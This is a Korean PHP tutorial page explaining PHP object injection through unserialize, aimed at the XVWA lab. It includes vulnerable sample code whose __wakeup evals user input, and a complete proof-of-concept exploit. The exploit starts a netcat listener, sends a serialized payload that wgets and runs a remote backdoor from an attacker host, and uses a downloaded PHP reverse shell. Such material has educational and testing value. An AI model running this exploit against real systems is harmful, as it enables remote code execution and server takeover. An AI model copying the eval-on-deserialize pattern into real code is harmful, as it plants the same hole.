>백엔드 개발 >PHP 튜토리얼 >PHP 직렬화/객체 주입 취약점 분석_php 기술

PHP 직렬화/객체 주입 취약점 분석_php 기술

WBOY
WBOY원래의
2016-05-16 19:53:591666검색

이 글은 호스트의 원격 쉘을 얻는 방법을 설명하는 PHP 직렬화/객체 주입 취약점 분석에 대한 짧은 글입니다.

이 취약점을 직접 테스트하려면 XVWA 및 Kevgir을 통해 테스트할 수 있습니다.

취약점을 악용하는 첫 번째 단계에서는 대상 애플리케이션에 PHP 직렬화가 있는지 테스트하기 시작합니다. 테스트를 돕기 위해 Burpsuite의 SuperSerial 플러그인을 사용했습니다. 다운로드 주소는 여기에 있습니다. PHP 및 Java 직렬화의 존재를 수동적으로 감지합니다.

분석
애플리케이션에서 PHP 직렬화 사용을 감지하여 애플리케이션 코드에 원격 코드 실행 취약점이 포함되어 있는지 식별할 수 있습니다. 직렬화된 객체는 매개변수 "r"에서 가져옵니다.

$var1=unserialize($_REQUEST['r']);
그런 다음 역직렬화하고 평가합니다.

평가($this->inject);
그런 다음 다음을 실행합니다.

echo "076402276aae5dbec7f672f8f4e5cc81".$var1[0]." - ".$var1[1];
이를 통해 매개변수 r의 PHP 직렬화 개체를 우회하면 코드 실행 취약점을 얻을 수 있습니다!

< &#63;php 
  error_reporting(E_ALL);
  class PHPObjectInjection{
    public $inject;
 
    function __construct(){
 
    }
 
    function __wakeup(){
      if(isset($this->inject)){
        eval($this->inject);
      }
    }
  }
//&#63;r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}
  if(isset($_REQUEST['r'])){ 
 
    $var1=unserialize($_REQUEST['r']);
    
 
    if(is_array($var1)){ 
      echo "
".$var1[0]." - ".$var1[1];
    }
  }else{
    echo "parameter is missing";
  }
&#63; >

악용
이 취약점을 악용하기 위해 우리는 PHP 직렬화 페이로드를 자동으로 생성하고 대상 원격 호스트에서 원하는 명령을 실행하는 간단한 PHP 스크립트를 만들었습니다. 그런 다음 일반 PHP 리바운드 쉘을 생성했는데 다운로드 주소는 다음과 같습니다.

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
참고: 이 파일을 웹 서버로 전송하고 리바운드 쉘 스크립트에서 로컬 IP와 포트를 변경하고 다음 익스플로잇 코드를 변경해야 합니다.

<&#63;php 
/*
PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. 
Shouts to @jstnkndy @yappare for theassist!
NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured
*/
print"==============================================================================\r\n";
print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print"==============================================================================\r\n";
print "[+] Generating serializedpayload...[OK]\r\n";
print "[+] Launching reverselistener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp1234\'');
class PHPObjectInjection
{
  //CHANGE URL/FILENAME TO MATCH YOUR SETUP
 public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
 
$url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/&#63;r='; // CHANGE TOTARGET URL/PARAMETER
$url = $url . urlencode(serialize(newPHPObjectInjection));
print "[+] Sendingexploit...[OK]\r\n";
print "[+] Dropping down tointeractive shell...[OK]\r\n";
print"==============================================================================\r\n";
$response =file_get_contents("$url");
 
&#63; >

데모
이제 애플리케이션 스크립트가 준비되었으므로 이를 실행하여 원격 명령 실행을 위해 원격 호스트에서 리바운드 셸을 얻을 수 있습니다!

위 내용은 이 글의 전체 내용입니다. PHP 프로그래밍을 배우는 모든 분들께 도움이 되기를 바랍니다.

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.